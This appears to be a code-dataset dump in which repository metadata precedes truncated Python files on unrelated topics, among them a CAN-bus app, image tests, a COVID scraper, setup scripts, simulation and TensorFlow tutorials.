[ "MIT" ]
null
null
null
testbed1/cd_player_app.py
Benny93/HMI-Protocol
5f98873129acebed1b2b3cf4376c2733907ead70
[ "MIT" ]
1
2019-10-20T20:35:23.000Z
2019-10-20T20:35:23.000Z
#!/usr/bin/python3 import time import constants as const from app_c import AppController, start_app class CDPlayerApp(AppController): def __init__(self): self.filter = [{"can_id": const.CDP_HMI_RESP, "can_mask": 0x7FF}] self.request_arbitration_id = const.CDP_HMI_REQ super().__init__() ...
28.478261
73
0.648855
94540c7ed2f982b7d1dc37ae5f83318353736ade
1,881
py
Python
tests/test_image.py
PlaidWeb/Publ
67efc5e32bf25dbac72a83d1167de038b79db5a7
[ "MIT" ]
27
2018-11-30T21:32:26.000Z
2022-03-20T19:46:25.000Z
tests/test_image.py
PlaidWeb/Publ
67efc5e32bf25dbac72a83d1167de038b79db5a7
[ "MIT" ]
249
2018-09-30T07:04:37.000Z
2022-03-29T04:31:00.000Z
tests/test_image.py
fluffy-critter/Publ
868c5a17c605707dde4d1a95d79405301bd12f05
[ "MIT" ]
4
2019-03-01T06:46:13.000Z
2019-06-30T17:45:46.000Z
""" Tests of image-related functionality """ import logging import os import os.path import tempfile import time import publ.image from . import PublMock LOGGER = logging.getLogger(__name__) def test_clean_cache(): """ Test the rendition cache cleanup """ now = time.time() with tempfile.TemporaryDirec...
31.35
95
0.586922
ca6b680aa37aeb74f47e1e21d9c507c1edfebdfb
1,825
py
Python
Python/Covid-Tracker/coronacasestracker.py
saurabhpal007/hacktoberfest2021-1
5abad37ab426a7b34fc7bcd98ded885fd6ce02ef
[ "CC0-1.0" ]
81
2021-10-01T13:19:13.000Z
2021-10-06T08:43:35.000Z
Python/Covid-Tracker/coronacasestracker.py
saurabhpal007/hacktoberfest2021-1
5abad37ab426a7b34fc7bcd98ded885fd6ce02ef
[ "CC0-1.0" ]
67
2021-10-01T13:43:46.000Z
2021-10-06T13:55:49.000Z
Python/Covid-Tracker/coronacasestracker.py
saurabhpal007/hacktoberfest2021-1
5abad37ab426a7b34fc7bcd98ded885fd6ce02ef
[ "CC0-1.0" ]
394
2021-10-01T11:55:24.000Z
2021-10-06T13:45:57.000Z
import bs4 import requests from tkinter import * from PIL import Image, ImageTk def get_html_data(url): return requests.get(url).text def covid_data(): url = "https://www.worldometers.info/coronavirus/" html_data = get_html_data(url) soup = bs4.BeautifulSoup(html_data, "lxml") info_div = soup....
25
81
0.661918
6d3f65617723cdd27c9c76907af29778a4c6412b
5,205
py
Python
20-hs-redez-sem/groups/05-decentGames/src/AbsGame.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
20-hs-redez-sem/groups/05-decentGames/src/AbsGame.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
20-hs-redez-sem/groups/05-decentGames/src/AbsGame.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
import os import socket import time import xmlrpc.client as rpc from abc import ABC, abstractmethod from datetime import datetime from Chessnut import Game from DGA import DGA from Exceptions import FileAlreadyExists from GameInformation import GameInformation MY_IP = socket.gethostbyname(socket.gethostname()) if no...
28.288043
141
0.546013
edc1dc5678da2ff12f2232ed4fe0def02e539ace
3,405
py
Python
setup.py
rivz-a/wagtailcustumsicons
8f62e03df4f37a6c8fce7b85ffc62d9e495cad39
[ "BSD-3-Clause" ]
null
null
null
setup.py
rivz-a/wagtailcustumsicons
8f62e03df4f37a6c8fce7b85ffc62d9e495cad39
[ "BSD-3-Clause" ]
null
null
null
setup.py
rivz-a/wagtailcustumsicons
8f62e03df4f37a6c8fce7b85ffc62d9e495cad39
[ "BSD-3-Clause" ]
null
null
null
import os from bs4 import BeautifulSoup import glob from setuptools import find_packages, setup from setuptools.command.sdist import sdist as base_sdist from setuptools.command.bdist_egg import bdist_egg as base_bdist_egg from wagtailadditionalicons import __version__ url = 'https://github.com/rivz-a/wagtailadditi...
29.868421
96
0.60558
1e2318e1e70838510c19658a450b6e37861654ae
5,700
py
Python
src/test/tests/plots/ray_trace.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
226
2018-12-29T01:13:49.000Z
2022-03-30T19:16:31.000Z
src/test/tests/plots/ray_trace.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
5,100
2019-01-14T18:19:25.000Z
2022-03-31T23:08:36.000Z
src/test/tests/plots/ray_trace.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
84
2019-01-24T17:41:50.000Z
2022-03-10T10:01:46.000Z
# ---------------------------------------------------------------------------- # CLASSES: nightly # # Test Case: ray_trace.py # # Tests: ray tracing with the volume plot # # Defect ID: '1949, '5699, '6916 # # Programmer: Hank Childs # Date: December 3, 2004 # # Modifications: # Brad Whitlock, Wed...
25.791855
83
0.634561
bfb545de06ecc63214e83508df3e43d212d5e389
1,372
py
Python
crack/hashing/hashtest.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
1
2017-12-12T13:58:08.000Z
2017-12-12T13:58:08.000Z
crack/hashing/hashtest.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
null
null
null
crack/hashing/hashtest.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
1
2019-11-03T10:16:35.000Z
2019-11-03T10:16:35.000Z
import hashlib # Hash algorithms always present in hashlib: md5(), sha1(), sha224(), sha256(), sha384(), and sha512(). Additional algorithms may be available from OpenSSL library import binascii import base64 import traceback import re def md5(hash): return hashlib.md5(hash).digest() def md5iter(times, hash): ...
29.826087
178
0.588192
784588d9bed4c622ae2fd7c1140655336457ccf0
23,884
py
Python
resources/mechanics_lib/EModule.py
PRECISE/ROSLab
2a6a295b71d4c73bc5c6ae2ec0330274afa31d0d
[ "Apache-2.0" ]
7
2016-01-20T02:33:00.000Z
2021-02-04T04:06:57.000Z
resources/mechanics_lib/EModule.py
PRECISE/ROSLab
2a6a295b71d4c73bc5c6ae2ec0330274afa31d0d
[ "Apache-2.0" ]
null
null
null
resources/mechanics_lib/EModule.py
PRECISE/ROSLab
2a6a295b71d4c73bc5c6ae2ec0330274afa31d0d
[ "Apache-2.0" ]
3
2016-10-05T07:20:30.000Z
2017-11-20T10:36:50.000Z
from api.EComponent import EComponent from EDevice import EDevice import itertools class EModule(EComponent): """ A class for representing an electronic module (a micronctroller with attached devices). A module includes an ATtiny chip and some L{EDevice}s. A module has 3 available pins. It stores ...
39.939799
175
0.613298
78bace314968d3119236165c6295111389108a1c
1,378
py
Python
libs/console.py
PSYCHXLAUGH/PasswordManager
eb72731467bdaf93e1d7c8a238e2dc384558b63a
[ "MIT" ]
null
null
null
libs/console.py
PSYCHXLAUGH/PasswordManager
eb72731467bdaf93e1d7c8a238e2dc384558b63a
[ "MIT" ]
null
null
null
libs/console.py
PSYCHXLAUGH/PasswordManager
eb72731467bdaf93e1d7c8a238e2dc384558b63a
[ "MIT" ]
null
null
null
from colorama import init, Fore from prettytable import PrettyTable from cowpy import cow class ConsoleLog: def __init__(self): init(autoreset = True) self.STATUS = { "+": "[+]", "!": "[-]", "?": "[?]", "!?": "[WARNING]", "I": ...
25.518519
141
0.494194
152838eb4dbd5cc1c43e9a5527fe441ee9e4bd76
2,219
py
Python
module/config.py
MakiseVon/LabelDcm
f220ec182cae4cd64167399e28ebe7d9442f28b2
[ "MIT" ]
null
null
null
module/config.py
MakiseVon/LabelDcm
f220ec182cae4cd64167399e28ebe7d9442f28b2
[ "MIT" ]
null
null
null
module/config.py
MakiseVon/LabelDcm
f220ec182cae4cd64167399e28ebe7d9442f28b2
[ "MIT" ]
2
2021-02-03T04:34:26.000Z
2021-02-03T06:32:48.000Z
from module.mode import LabelMode from typing import Any class ModeNameDict(dict): def __init__(self): super().__init__() self[LabelMode.DEFAULT_MODE] = '无' self[LabelMode.POINT_MODE] = '点' self[LabelMode.LINE_MODE] = '线' self[LabelMode.ANGLE_MODE] = '角' self[LabelM...
29.586667
111
0.595764
ec5a5b18531c64638af59568db9afa9cc2579b3d
453
py
Python
tests/hm/testRoom.py
debauer/HomematicToInflux
233a837f0da031f331d771f0e6f7b55f488cd747
[ "MIT" ]
null
null
null
tests/hm/testRoom.py
debauer/HomematicToInflux
233a837f0da031f331d771f0e6f7b55f488cd747
[ "MIT" ]
null
null
null
tests/hm/testRoom.py
debauer/HomematicToInflux
233a837f0da031f331d771f0e6f7b55f488cd747
[ "MIT" ]
null
null
null
import unittest from hm import Room class HmRoomTest(unittest.TestCase): def testRoom(self): r = Room("testraum", 123, [1, 2, 3, 4, 5]) self.assertEqual(r.get_name(), "testraum") self.assertEqual(r.get_channels(), [1, 2, 3, 4, 5]) self.assertEqual(r.get_ise_id(), 123) self....
26.647059
59
0.635762
ecaf4a7f9be869b6fd502a05bfd8c6a2fa7f30a4
1,995
py
Python
Modeling/equation_builder.py
nvoss12838/gpsFIT
5f06274e57f7c2f4101775eadf7142e5f492b177
[ "MIT" ]
1
2019-10-01T04:13:08.000Z
2019-10-01T04:13:08.000Z
Modeling/equation_builder.py
nvoss12838/gpsFIT
5f06274e57f7c2f4101775eadf7142e5f492b177
[ "MIT" ]
null
null
null
Modeling/equation_builder.py
nvoss12838/gpsFIT
5f06274e57f7c2f4101775eadf7142e5f492b177
[ "MIT" ]
null
null
null
import numpy as np import matplotlib.pylab as plt import inspect from fit import * def readData(filename): ''' read in data in Decater format date location uncertainty? ''' #read in filename splitting into useful python arrays date,loc,uncert = np.genfromtxt(filename,dtype=float,usecols = (0,1,2), unpac...
29.338235
106
0.651629
172ec20074ae665257be0a566358f9d13c0166bc
590
py
Python
books/PythonCleanCode/ch2_pythonic_code/properties.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonCleanCode/ch2_pythonic_code/properties.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonCleanCode/ch2_pythonic_code/properties.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
import re EMAIL_FORMAT = re.compile(r"[^@]+@[^@]+\.[^@]+") def is_valid_email(potentially_valid_email: str): return re.match(EMAIL_FORMAT, potentially_valid_email) is not None class User: def __init__(self, username): self.username = username self._email = None @property def email(...
22.692308
70
0.613559
da7c9c5d6c3cde7e7abe10d2d664f3688598861c
1,764
py
Python
src/utils.py
afranck64/benzlim
b8a3087cfe093ed9700ba92799aaeed17f1dd92f
[ "Apache-2.0" ]
null
null
null
src/utils.py
afranck64/benzlim
b8a3087cfe093ed9700ba92799aaeed17f1dd92f
[ "Apache-2.0" ]
null
null
null
src/utils.py
afranck64/benzlim
b8a3087cfe093ed9700ba92799aaeed17f1dd92f
[ "Apache-2.0" ]
null
null
null
"""utils.py - usefool tools""" # -- coding: utf-8 -- import sys import os.path from .compat import printf, str2unicode import logging #from .exceptions_ import (PriceNotFoundException, StationNotFoundException) ERROR_FILE_EXISTS = 17 #Extended cosine similarity with respect to the vectors'norm. by afranck64 def dif...
26.328358
76
0.637755
e5877608f9cc3a84f1d2eb1c4f3da6c1617c3e21
6,610
py
Python
code/tests/test_matrix.py
simonmulser/master-thesis
5ca2ddda377a0eede5a3c50866e0f90292c5448f
[ "CC-BY-4.0" ]
null
null
null
code/tests/test_matrix.py
simonmulser/master-thesis
5ca2ddda377a0eede5a3c50866e0f90292c5448f
[ "CC-BY-4.0" ]
null
null
null
code/tests/test_matrix.py
simonmulser/master-thesis
5ca2ddda377a0eede5a3c50866e0f90292c5448f
[ "CC-BY-4.0" ]
1
2019-06-05T09:10:30.000Z
2019-06-05T09:10:30.000Z
import unittest from strategy.matrix import Strategy from strategy import ActionException from strategy import Action from strategy import BlockOrigin from strategy import ForkState class StrategyTest(unittest.TestCase): def __init__(self, *args, **kwargs): super(StrategyTest, self).__init__(*args, **kwa...
37.771429
108
0.675492
00b7593d2091530abf5ecc189568931c2a4cd6fb
1,883
py
Python
research/cv/gan/src/loss.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/gan/src/loss.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/gan/src/loss.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
35.528302
78
0.6718
9790ef8491e78c920fad3caede48d586b2ffda49
50
py
Python
sonnen_api_v2/__init__.py
Katamave/sonnen_api_v2
a2ed19631162cd730c1c56a30c1597bbe28c4c04
[ "MIT" ]
null
null
null
sonnen_api_v2/__init__.py
Katamave/sonnen_api_v2
a2ed19631162cd730c1c56a30c1597bbe28c4c04
[ "MIT" ]
null
null
null
sonnen_api_v2/__init__.py
Katamave/sonnen_api_v2
a2ed19631162cd730c1c56a30c1597bbe28c4c04
[ "MIT" ]
null
null
null
from .sonnen import Sonnen __version__ = '0.1.3'
12.5
26
0.72
c1023d1de3358ae38af92025f3689e599427a5f5
1,613
py
Python
project/imageutils.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
1
2021-06-01T14:49:18.000Z
2021-06-01T14:49:18.000Z
project/imageutils.py
DanielGrams/gsevp
e94034f7b64de76f38754b56455e83092378261f
[ "MIT" ]
286
2020-12-04T14:13:00.000Z
2022-03-09T19:05:16.000Z
project/imageutils.py
DanielGrams/gsevpt
a92f71694388e227e65ed1b24446246ee688d00e
[ "MIT" ]
null
null
null
import base64 import re from io import BytesIO import PIL import requests min_image_size = 320 max_image_size = 1024 supported_formats = ["png", "jpeg", "gif"] def get_data_uri_from_bytes(data: bytes, encoding_format: str) -> str: base64_str = base64.b64encode(data).decode("utf-8") return "data:{};base64,{}...
27.810345
113
0.717917
c18272da9d0e55ffb503d7d2b8e3914a828955c8
1,009
py
Python
Crashkurs TensorFlow/05_Shape.py
slogslog/Coding-Kurzgeschichten
9b08237038147c6c348d4cf4c69567178e07dd1d
[ "Unlicense" ]
2
2020-03-23T14:57:50.000Z
2021-03-24T18:12:07.000Z
Crashkurs TensorFlow/05_Shape.py
slogslog/Coding-Kurzgeschichten
9b08237038147c6c348d4cf4c69567178e07dd1d
[ "Unlicense" ]
null
null
null
Crashkurs TensorFlow/05_Shape.py
slogslog/Coding-Kurzgeschichten
9b08237038147c6c348d4cf4c69567178e07dd1d
[ "Unlicense" ]
null
null
null
# Unterdrückt die AVX2 Warnung import os os.environ['TF_CPP_MIN_LOG_LEVEL']='2' import tensorflow as tf # 1d Arrays: new int[3] in C# und Java a1d = tf.constant([4, 3, 5], tf.dtypes.float32) print(a1d) print(a1d.numpy()) print("Shape = ", tf.shape(a1d).numpy()) # 2d Arrays: new int[3, 2] in C# bzw. new int[3][2] in ...
22.422222
65
0.558969
ec50b25f3d43c3b1098a41ca67963b0243a6e2f8
13,858
py
Python
TW-Circuit/simulate.py
J0nasW/Bachelorarbeit
37052be075713f2016d42782397ff875e3e982f8
[ "MIT" ]
null
null
null
TW-Circuit/simulate.py
J0nasW/Bachelorarbeit
37052be075713f2016d42782397ff875e3e982f8
[ "MIT" ]
null
null
null
TW-Circuit/simulate.py
J0nasW/Bachelorarbeit
37052be075713f2016d42782397ff875e3e982f8
[ "MIT" ]
null
null
null
""" Neuronal Network of C. Elegans implemented in Python with the LIF-Model (by JW) Version: I don't know - Still in work! """ # Some dependencies import numpy as np import matplotlib.pyplot as plt import gym from lif import I_syn_calc, I_gap_calc, U_neuron_calc """ Parameters for the neural Network Motor Neurons:...
33.3125
171
0.492567
6bb97985cc6f4a63351702836abf01586ea70c9c
919
py
Python
sendTemp.py
omgwtflaserguns/golemtemp
6c0e547d132906783e5ecf04073e9da2db780115
[ "MIT" ]
null
null
null
sendTemp.py
omgwtflaserguns/golemtemp
6c0e547d132906783e5ecf04073e9da2db780115
[ "MIT" ]
null
null
null
sendTemp.py
omgwtflaserguns/golemtemp
6c0e547d132906783e5ecf04073e9da2db780115
[ "MIT" ]
null
null
null
#!/usr/bin/python import requests import logging from subprocess import Popen, PIPE logging.basicConfig(filename='golemtemp.log', level=logging.INFO) def run_cmd(cmd): p = Popen(cmd, shell=True, stdout=PIPE) output = p.communicate()[0] return output DEBUG = 1 urlpattern = 'http://www.golem.de/projekte/...
28.71875
219
0.737758
cf5478e3a0f485622b34f4ad3114dd043d809793
3,189
py
Python
DisGeneNet/DisGeneNetScript.py
ecarl-glitch/LeukoDB
57c39d431430fae9def5109b4d6aa457ef1a25cf
[ "MIT" ]
null
null
null
DisGeneNet/DisGeneNetScript.py
ecarl-glitch/LeukoDB
57c39d431430fae9def5109b4d6aa457ef1a25cf
[ "MIT" ]
null
null
null
DisGeneNet/DisGeneNetScript.py
ecarl-glitch/LeukoDB
57c39d431430fae9def5109b4d6aa457ef1a25cf
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # Script connects to DisGeneNet REST API and queries for gene-variant for each gene # assoicated with leukodystrophies # Input is gene geneNamesOMIM.csv # Output is VariantDiseaseAssoc with API results for successful queries ''' Script example to use the DisGeneNET REST API ...
36.238636
195
0.697711
5ac0f96f00a96f2a899fe767e7b894ebed21cd99
77,236
py
Python
tests/test_isp.py
MePyDo/pygqa
61cde42ee815968fdd029cc5056ede3badea3d91
[ "MIT" ]
null
null
null
tests/test_isp.py
MePyDo/pygqa
61cde42ee815968fdd029cc5056ede3badea3d91
[ "MIT" ]
null
null
null
tests/test_isp.py
MePyDo/pygqa
61cde42ee815968fdd029cc5056ede3badea3d91
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Alle in isp befindlichen Klassen und Funktionen prüfen. Alle Laufzeit Fehlermeldungen sind bei der Testausführung gewollt Nach der Ausführung steht am Ende OK wenn alle Tests durchgefürt wurden. Bei Fehlern in den Überprüfungen steht am Ende:: =====================================...
38.103601
329
0.527979
8502c6aff53cbae673719768760425658084c3d5
7,583
py
Python
app/main/views.py
IoTServ/FlaskSimpleCMS
db0fc4464c6d514db14972156ca3e002a60a4876
[ "MIT" ]
null
null
null
app/main/views.py
IoTServ/FlaskSimpleCMS
db0fc4464c6d514db14972156ca3e002a60a4876
[ "MIT" ]
4
2020-08-29T16:11:12.000Z
2022-03-12T00:47:03.000Z
app/main/views.py
IoTServ/FlaskSimpleCMS
db0fc4464c6d514db14972156ca3e002a60a4876
[ "MIT" ]
null
null
null
#coding:utf-8 import os,json,time,oss2 from datetime import datetime,timedelta from flask import make_response,send_file from flask_login import login_required, current_user from werkzeug.utils import secure_filename from flask import render_template, request, current_app,flash,redirect,url_for from . import main from...
44.087209
176
0.668996
cfc8fa50a44148a4e51520b7e3165a770f00efd3
65
py
Python
Pythonjunior2020/Woche1/Aufgabe_1_1_1.py
Zeyecx/HPI-Potsdam
ed45ca471cee204dde74dd2c3efae3877ee71036
[ "MIT" ]
null
null
null
Pythonjunior2020/Woche1/Aufgabe_1_1_1.py
Zeyecx/HPI-Potsdam
ed45ca471cee204dde74dd2c3efae3877ee71036
[ "MIT" ]
null
null
null
Pythonjunior2020/Woche1/Aufgabe_1_1_1.py
Zeyecx/HPI-Potsdam
ed45ca471cee204dde74dd2c3efae3877ee71036
[ "MIT" ]
null
null
null
# 1.1.1, Woche 1, Block 1, Aufgabe 1 # Ausgabe print("Hallo du")
16.25
36
0.646154
cff5d83422ded82a712fc9fc32f387adcae52b73
1,053
py
Python
softmaxRegression-noComments.py
kkirsche/TensorFlow-Tutorial
41d7f0395472fbddc0eee709552dd03c9767a518
[ "Apache-2.0" ]
null
null
null
softmaxRegression-noComments.py
kkirsche/TensorFlow-Tutorial
41d7f0395472fbddc0eee709552dd03c9767a518
[ "Apache-2.0" ]
null
null
null
softmaxRegression-noComments.py
kkirsche/TensorFlow-Tutorial
41d7f0395472fbddc0eee709552dd03c9767a518
[ "Apache-2.0" ]
null
null
null
import tensorflow as tf from tensorflow.examples.tutorials.mnist import input_data x = tf.placeholder(tf.float32, [None, 784]) y_ = tf.placeholder(tf.float32, [None, 10]) W = tf.Variable(tf.zeros([784, 10])) b = tf.Variable(tf.zeros([10])) y = tf.nn.softmax(tf.matmul(x, W) + b) cross_entropy = tf.reduce_mean( ...
24.488372
76
0.683761
32134149d9c09bd406fe6631050a762e65821a7e
2,520
py
Python
Packs/Stealthwatch_Cloud/Integrations/Stealthwatch_Cloud/Stealthwatch_Cloud_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/Stealthwatch_Cloud/Integrations/Stealthwatch_Cloud/Stealthwatch_Cloud_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/Stealthwatch_Cloud/Integrations/Stealthwatch_Cloud/Stealthwatch_Cloud_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto import json INTEGRATION_CONNECTION = { 'serverURL': 'http://example.com', 'APIKey': 'This is the API', 'proxy': True, 'insecure': False, 'isFetch': True } def get_fetch_data(): with open('./test_data.json', 'r') as f: return json.loads(f.read()) def tes...
38.181818
114
0.702381
5c654b5174ec7686109152769aca9902708d8e80
7,115
py
Python
src/data_science/data_science/data_transfer/c8y_to_data_api.py
viclule/api_models_deployment_framework
7595cf0b4f3e277925b968014102d7561547bcd4
[ "MIT" ]
null
null
null
src/data_science/data_science/data_transfer/c8y_to_data_api.py
viclule/api_models_deployment_framework
7595cf0b4f3e277925b968014102d7561547bcd4
[ "MIT" ]
null
null
null
src/data_science/data_science/data_transfer/c8y_to_data_api.py
viclule/api_models_deployment_framework
7595cf0b4f3e277925b968014102d7561547bcd4
[ "MIT" ]
null
null
null
""" Functions to transfer data between cumulocity.com and the data_api. """ from ipywidgets import FloatProgress import data_science.data_transfer.data_api as api import data_science.tools.time as tm def generate_dataset(data_api, pumps_data_df, pump_number, period, comment): """ Create a new dataset in the ...
42.60479
79
0.622628
5c66f61aaedb07b3187567a73e647924e422e94c
306
py
Python
7_funktionen/3_eigeneFunktionen.py
Coding-for-the-Arts/drawbot-samples-solutions
7191610d6efd7d788056070e7826d255b7ef496b
[ "CC0-1.0" ]
null
null
null
7_funktionen/3_eigeneFunktionen.py
Coding-for-the-Arts/drawbot-samples-solutions
7191610d6efd7d788056070e7826d255b7ef496b
[ "CC0-1.0" ]
null
null
null
7_funktionen/3_eigeneFunktionen.py
Coding-for-the-Arts/drawbot-samples-solutions
7191610d6efd7d788056070e7826d255b7ef496b
[ "CC0-1.0" ]
null
null
null
""" Deine eigene Funktionen - Rufe die Funktion sayHello() mit deinem Namen auf. - Schreibe eine Funktion sayBye(), die sich verabschiedet. """ def sayHello(name): print("Hello", name) sayHello("Bibi") sayHello("Godi") sayHello("Pesche") def sayBye(name): print("Bye", name) sayBye("Bibi")
15.3
58
0.683007
7a2dee04b442e17007c07507af481708f3ce467a
26,149
py
Python
cloudmesh/volume/aws/Provider.py
cloudmesh/cloudmesh-volume
a7502d077f2fb7c6b1b7986da9595a36591b06cd
[ "Apache-2.0" ]
1
2020-03-12T09:49:53.000Z
2020-03-12T09:49:53.000Z
cloudmesh/volume/aws/Provider.py
cloudmesh/cloudmesh-volume
a7502d077f2fb7c6b1b7986da9595a36591b06cd
[ "Apache-2.0" ]
1
2020-03-25T00:47:12.000Z
2020-03-30T23:32:00.000Z
cloudmesh/volume/aws/Provider.py
cloudmesh/cloudmesh-volume
a7502d077f2fb7c6b1b7986da9595a36591b06cd
[ "Apache-2.0" ]
5
2020-02-20T01:04:24.000Z
2020-05-05T14:36:30.000Z
from time import sleep import boto3 from cloudmesh.common.console import Console from cloudmesh.configuration.Config import Config from cloudmesh.volume.VolumeABC import VolumeABC from cloudmesh.mongo.CmDatabase import CmDatabase class Provider(VolumeABC): kind = "volume" sample = """ cloudmesh: v...
35.528533
86
0.449998
7a946ba65adfbc837c90584cc5c98fa252a3ff0d
2,295
py
Python
DHParser/__init__.py
jecki/DHParser
c6c1bd7db2de85b5997a3640242f4f444532304e
[ "Apache-2.0" ]
2
2020-12-25T19:37:42.000Z
2021-03-26T04:59:12.000Z
DHParser/__init__.py
jecki/DHParser
c6c1bd7db2de85b5997a3640242f4f444532304e
[ "Apache-2.0" ]
6
2018-08-07T22:48:52.000Z
2021-10-07T18:38:20.000Z
DHParser/__init__.py
jecki/DHParser
c6c1bd7db2de85b5997a3640242f4f444532304e
[ "Apache-2.0" ]
null
null
null
"""__init__.py - package definition module for DHParser Copyright 2016 by Eckhart Arnold (arnold@badw.de) Bavarian Academy of Sciences an Humanities (badw.de) Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtai...
32.323944
86
0.688017
859cccf3cbb1470177b87472a518fe4d0c06f870
2,918
py
Python
test/test_npu/test_network_ops/test_adaptive_avg_pool3d.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-12-02T03:07:35.000Z
2021-12-02T03:07:35.000Z
test/test_npu/test_network_ops/test_adaptive_avg_pool3d.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-11-12T07:23:03.000Z
2021-11-12T08:28:13.000Z
test/test_npu/test_network_ops/test_adaptive_avg_pool3d.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2020, Huawei Technologies.All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://opensource.org/licenses/BSD-3-Clause # # Unless required by applicable law...
41.685714
81
0.625428
a4984d37de024d675390c7297755f694c38241c1
451
py
Python
cpp_project/network_program/EasyHttp/htdocs/easycgi.py
sinomiko/project
00fadb0033645f103692f5b06c861939a9d4aa0e
[ "BSD-3-Clause" ]
1
2018-12-30T14:07:42.000Z
2018-12-30T14:07:42.000Z
cpp_project/network_program/EasyHttp/htdocs/easycgi.py
sinomiko/project
00fadb0033645f103692f5b06c861939a9d4aa0e
[ "BSD-3-Clause" ]
null
null
null
cpp_project/network_program/EasyHttp/htdocs/easycgi.py
sinomiko/project
00fadb0033645f103692f5b06c861939a9d4aa0e
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/python # -*- coding: UTF-8 -*- # CGI处理模块 import cgi, cgitb # 创建 FieldStorage 的实例化 form = cgi.FieldStorage() # 获取数据 first_name = form.getvalue('first_name') last_name = form.getvalue('last_name') print "Content-type:text/html\r\n\r\n" print "<html>" print "<head>" print "<title>Hello - Second CGI Progr...
18.791667
54
0.662971
74fe869d9317a17e22bbb3e28fd6b42f9a3a16eb
2,804
py
Python
dblp/python/citationsDF.py
DocSeven/spark
a88330f554a4afc70696dac8d00bcf4d2f512acf
[ "Apache-2.0" ]
null
null
null
dblp/python/citationsDF.py
DocSeven/spark
a88330f554a4afc70696dac8d00bcf4d2f512acf
[ "Apache-2.0" ]
null
null
null
dblp/python/citationsDF.py
DocSeven/spark
a88330f554a4afc70696dac8d00bcf4d2f512acf
[ "Apache-2.0" ]
1
2019-11-06T11:29:31.000Z
2019-11-06T11:29:31.000Z
from pyspark.sql.types import IntegerType, ArrayType from pyspark.sql.functions import col, collect_list, struct, udf import pyspark.sql.functions import citationsCommon def countByIdAndYear(df): docsplit = df.rdd.flatMap(lambda row: [(ref, row[2], 1) for ref in row[1]]) return docsplit.toDF().gro...
48.344828
84
0.670827
746f73993c592f5267f9c96eed48a7f6e9e6788d
254
py
Python
Problems/Dynamic Programming/Easy/PrincessFarida/princess_farida.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
1
2021-08-16T14:52:05.000Z
2021-08-16T14:52:05.000Z
Problems/Dynamic Programming/Easy/PrincessFarida/princess_farida.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
Problems/Dynamic Programming/Easy/PrincessFarida/princess_farida.py
dolong2110/Algorithm-By-Problems-Python
31ecc7367aaabdd2b0ac0af7f63ca5796d70c730
[ "MIT" ]
null
null
null
from typing import List def princessFarida(coins: List[int]) -> int: n = len(coins) if n == 1: return coins[0] for i in range(2, n): coins[i] = max(coins[i - 1], coins[i - 2] + coins[i]) return max(coins[-1], coins[-2])
23.090909
61
0.551181
74850d02dbbc6515ad1de7ee4e2d8d8914f36ef3
2,069
py
Python
